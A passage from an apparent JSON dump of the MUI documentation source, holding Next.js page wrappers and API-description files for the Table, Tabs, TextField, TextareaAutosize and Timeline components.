},\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-table/\\\">Table</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/table', false, /\\.\\/table.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"padding\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'checkbox'<br>&#124;&nbsp;'none'<br>&#124;&nbsp;'normal'\"\n      },\n      \"default\": \"'normal'\"\n    },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"stickyHeader\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Table\",\n  \"imports\": [\"import Table from '@mui/material/Table';\", \"import { Table } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTable-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"stickyHeader\",\n      \"className\": \"MuiTable-stickyHeader\",\n      \"description\": \"Styles applied to the root element if `stickyHeader={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTable\",\n  \"forwardsRefTo\": \"HTMLTableElement\",\n  \"filename\": \"/packages/mui-material/src/Table/Table.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-table/\\\">Table</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tabs.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './tabs.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/tabs', false, /\\.\\/tabs.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tabs.json",
    "content": "{\n  \"props\": {\n    \"action\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"allowScrollButtonsMobile\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"aria-label\": { \"type\": { \"name\": \"string\" } },\n    \"aria-labelledby\": { \"type\": { \"name\": \"string\" } },\n    \"centered\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"indicatorColor\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent, value: any) => void\",\n        \"describedArgs\": [\"event\", \"value\"]\n      }\n    },\n    \"orientation\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'horizontal'<br>&#124;&nbsp;'vertical'\" },\n      \"default\": \"'horizontal'\"\n    },\n    \"scrollButtons\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'auto'<br>&#124;&nbsp;false<br>&#124;&nbsp;true\" },\n      \"default\": \"'auto'\"\n    },\n    \"selectionFollowsFocus\": { \"type\": { \"name\": \"bool\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ endScrollButtonIcon?: func<br>&#124;&nbsp;object, indicator?: func<br>&#124;&nbsp;object, list?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, scrollbar?: func<br>&#124;&nbsp;object, scrollButtons?: func<br>&#124;&nbsp;object, scroller?: func<br>&#124;&nbsp;object, startScrollButtonIcon?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ endScrollButtonIcon?: elementType, indicator?: elementType, list?: elementType, root?: elementType, scrollbar?: elementType, scrollButtons?: elementType, scroller?: elementType, startScrollButtonIcon?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"textColor\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'fullWidth'<br>&#124;&nbsp;'scrollable'<br>&#124;&nbsp;'standard'\"\n      },\n      \"default\": \"'standard'\"\n    },\n    \"visibleScrollbar\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" }\n  },\n  \"name\": \"Tabs\",\n  \"imports\": [\"import Tabs from '@mui/material/Tabs';\", \"import { Tabs } from '@mui/material';\"],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component used for the popper.\",\n      \"default\": \"div\",\n      \"class\": \"MuiTabs-root\"\n    },\n    {\n      \"name\": \"scroller\",\n      \"description\": \"The component used for the scroller.\",\n      \"default\": \"div\",\n      \"class\": \"MuiTabs-scroller\"\n    },\n    {\n      \"name\": \"list\",\n      \"description\": \"The component used for the flex container.\",\n      \"default\": \"div\",\n      \"class\": \"MuiTabs-list\"\n    },\n    {\n      \"name\": \"scrollbar\",\n      \"description\": \"The component used for the scroller.\",\n      \"default\": \"ScrollbarSize\",\n      \"class\": null\n    },\n    {\n      \"name\": \"indicator\",\n      \"description\": \"The component used for the tab indicator.\",\n      \"default\": \"span\",\n      \"class\": \"MuiTabs-indicator\"\n    },\n    {\n      \"name\": \"scrollButtons\",\n      \"description\": \"The component used for the scroll button.\",\n      \"default\": \"TabScrollButton\",\n      \"class\": \"MuiTabs-scrollButtons\"\n    },\n    {\n      \"name\": \"startScrollButtonIcon\",\n      \"description\": \"The component used for the start scroll button icon.\",\n      \"default\": \"KeyboardArrowLeft\",\n      \"class\": null\n    },\n    {\n      \"name\": \"endScrollButtonIcon\",\n      \"description\": \"The component used for the end scroll button icon.\",\n      \"default\": \"KeyboardArrowRight\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"centered\",\n      \"className\": \"MuiTabs-centered\",\n      \"description\": \"Styles applied to the flex container element if `centered={true}` & `!variant=\\\"scrollable\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fixed\",\n      \"className\": \"MuiTabs-fixed\",\n      \"description\": \"Styles applied to the tablist element if `!variant=\\\"scrollable\\\"`\\b\\b\\b.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"hideScrollbar\",\n      \"className\": \"MuiTabs-hideScrollbar\",\n      \"description\": \"Styles applied to the tablist element if `variant=\\\"scrollable\\\"` and `visibleScrollbar={false}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scrollableX\",\n      \"className\": \"MuiTabs-scrollableX\",\n      \"description\": \"Styles applied to the tablist element if `variant=\\\"scrollable\\\"` and `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scrollableY\",\n      \"className\": \"MuiTabs-scrollableY\",\n      \"description\": \"Styles applied to the tablist element if `variant=\\\"scrollable\\\"` and `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scrollButtonsHideMobile\",\n      \"className\": \"MuiTabs-scrollButtonsHideMobile\",\n      \"description\": \"Styles applied to the ScrollButtonComponent component if `allowScrollButtonsMobile={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiTabs-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTabs\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Tabs/Tabs.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-tabs/\\\">Tabs</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/text-field.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './text-field.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/text-field',\n    false,\n    /\\.\\/text-field.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/text-field.json",
    "content": "{\n  \"props\": {\n    \"autoComplete\": { \"type\": { \"name\": \"string\" } },\n    \"autoFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"defaultValue\": { \"type\": { \"name\": \"any\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"error\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"helperText\": { \"type\": { \"name\": \"node\" } },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"inputRef\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"label\": { \"type\": { \"name\": \"node\" } },\n    \"margin\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'dense'<br>&#124;&nbsp;'none'<br>&#124;&nbsp;'normal'\"\n      },\n      \"default\": \"'none'\"\n    },\n    \"maxRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"minRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"multiline\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"name\": { \"type\": { \"name\": \"string\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(event: object) => void\", \"describedArgs\": [\"event\"] }\n    },\n    \"placeholder\": { \"type\": { \"name\": \"string\" } },\n    \"required\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"rows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"select\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ formHelperText?: func<br>&#124;&nbsp;object, htmlInput?: func<br>&#124;&nbsp;object, input?: func<br>&#124;&nbsp;object, inputLabel?: func<br>&#124;&nbsp;object, select?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ formHelperText?: elementType, htmlInput?: elementType, input?: elementType, inputLabel?: elementType, root?: elementType, select?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"type\": { \"type\": { \"name\": \"string\" } },\n    \"value\": { \"type\": { \"name\": \"any\" } },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'standard'\"\n      },\n      \"default\": \"'outlined'\"\n    }\n  },\n  \"name\": \"TextField\",\n  \"imports\": [\n    \"import TextField from '@mui/material/TextField';\",\n    \"import { TextField } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"FormControl\",\n      \"class\": \"MuiTextField-root\"\n    },\n    {\n      \"name\": \"input\",\n      \"description\": \"The component that renders the input.\",\n      \"default\": \"OutlinedInput\",\n      \"class\": null\n    },\n    {\n      \"name\": \"inputLabel\",\n      \"description\": \"The component that renders the input's label.\",\n      \"default\": \"InputLabel\",\n      \"class\": null\n    },\n    {\n      \"name\": \"htmlInput\",\n      \"description\": \"The html input element.\",\n      \"default\": \"'input'\",\n      \"class\": null\n    },\n    {\n      \"name\": \"formHelperText\",\n      \"description\": \"The component that renders the helper text.\",\n      \"default\": \"FormHelperText\",\n      \"class\": null\n    },\n    {\n      \"name\": \"select\",\n      \"description\": \"The component that renders the select.\",\n      \"default\": \"Select\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTextField\",\n  \"filename\": \"/packages/mui-material/src/TextField/TextField.js\",\n  \"inheritance\": { \"component\": \"FormControl\", \"pathname\": \"/material-ui/api/form-control/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-autocomplete/\\\">Autocomplete</a></li>\\n<li><a href=\\\"/material-ui/react-text-field/\\\">Text Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/textarea-autosize.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './textarea-autosize.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/textarea-autosize',\n    false,\n    /\\.\\/textarea-autosize.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/textarea-autosize.json",
    "content": "{\n  \"props\": {\n    \"maxRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"minRows\": {\n      \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" },\n      \"default\": \"1\"\n    }\n  },\n  \"name\": \"TextareaAutosize\",\n  \"imports\": [\n    \"import TextareaAutosize from '@mui/material/TextareaAutosize';\",\n    \"import { TextareaAutosize } from '@mui/material';\"\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": null,\n  \"muiName\": \"MuiTextareaAutosize\",\n  \"filename\": \"/packages/mui-material/src/TextareaAutosize/TextareaAutosize.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-textarea-autosize/\\\">Textarea Autosize</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-connector.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './timeline-connector.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/timeline-connector',\n    false,\n    /\\.\\/timeline-connector.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-connector.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TimelineConnector\",\n  \"imports\": [\n    \"import TimelineConnector from '@mui/lab/TimelineConnector';\",\n    \"import { TimelineConnector } from '@mui/lab';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTimelineConnector-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTimelineConnector\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-lab/src/TimelineConnector/TimelineConnector.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-timeline/\\\">Timeline</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-content.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './timeline-content.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/timeline-content',\n    false,\n    /\\.\\/timeline-content.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-content.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TimelineContent\",\n  \"imports\": [\n    \"import TimelineContent from '@mui/lab/TimelineContent';\",\n    \"import { TimelineContent } from '@mui/lab';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"positionAlternate\",\n      \"className\": \"MuiTimelineContent-positionAlternate\",\n      \"description\": \"Styles applied to the root element if `position=\\\"alternate\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionAlternateReverse\",\n      \"className\": \"MuiTimelineContent-positionAlternateReverse\",\n      \"description\": \"Styles applied to the root element if `position=\\\"alternate-reverse\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionLeft\",\n      \"className\": \"MuiTimelineContent-positionLeft\",\n      \"description\": \"Styles applied to the root element if `position=\\\"left\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionRight\",\n      \"className\": \"MuiTimelineContent-positionRight\",\n      \"description\": \"Styles applied to the root element if `position=\\\"right\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTimelineContent-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTimelineContent\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-lab/src/TimelineContent/TimelineContent.js\",\n  \"inheritance\": { \"component\": \"Typography\", \"pathname\": \"/material-ui/api/typography/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-timeline/\\\">Timeline</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-dot.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './timeline-dot.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/timeline-dot',\n    false,\n    /\\.\\/timeline-dot.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-dot.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'error'<br>&#124;&nbsp;'grey'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'inherit'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'grey'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'filled'\"\n    }\n  },\n  \"name\": \"TimelineDot\",\n  \"imports\": [\n    \"import TimelineDot from '@mui/lab/TimelineDot';\",\n    \"import { TimelineDot } from '@mui/lab';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"filled\",\n      \"className\": \"MuiTimelineDot-filled\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"filledGrey\",\n      \"className\": \"MuiTimelineDot-filledGrey\",\n      \"description\": \"Styles applied to the root element if `color=\\\"grey\\\"` and `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"filledPrimary\",\n      \"className\": \"MuiTimelineDot-filledPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"` and `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"filledSecondary\",\n      \"className\": \"MuiTimelineDot-filledSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"` and `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiTimelineDot-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlinedGrey\",\n      \"className\": \"MuiTimelineDot-outlinedGrey\",\n      \"description\": \"Styles applied to the root element if `color=\\\"grey\\\"` and `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlinedPrimary\",\n      \"className\": \"MuiTimelineDot-outlinedPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"` and `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlinedSecondary\",\n      \"className\": \"MuiTimelineDot-outlinedSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"` and `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTimelineDot-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTimelineDot\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-lab/src/TimelineDot/TimelineDot.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-timeline/\\\">Timeline</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-item.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './timeline-item.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/timeline-item',\n    false,\n    /\\.\\/timeline-item.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-item.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"position\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'alternate-reverse'<br>&#124;&nbsp;'alternate'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'\"\n      }\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TimelineItem\",\n  \"imports\": [\n    \"import TimelineItem from '@mui/lab/TimelineItem';\",\n    \"import { TimelineItem } from '@mui/lab';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"missingOppositeContent\",\n      \"className\": \"MuiTimelineItem-missingOppositeContent\",\n      \"description\": \"Styles applied to the root element if TimelineOppositeContent isn't provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionAlternate\",\n      \"className\": \"MuiTimelineItem-positionAlternate\",\n      \"description\": \"Styles applied to the root element if `position=\\\"alternate\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionAlternateReverse\",\n      \"className\": \"MuiTimelineItem-positionAlternateReverse\",\n      \"description\": \"Styles applied to the root element if `position=\\\"alternate-reverse\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionLeft\",\n      \"className\": \"MuiTimelineItem-positionLeft\",\n      \"description\": \"Styles applied to the root element if `position=\\\"left\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionRight\",\n      \"className\": \"MuiTimelineItem-positionRight\",\n      \"description\": \"Styles applied to the root element if `position=\\\"right\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTimelineItem-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTimelineItem\",\n  \"forwardsRefTo\": \"HTMLLIElement\",\n  \"filename\": \"/packages/mui-lab/src/TimelineItem/TimelineItem.js\",\n  \"inheritance\": null,\n  \"demos\": 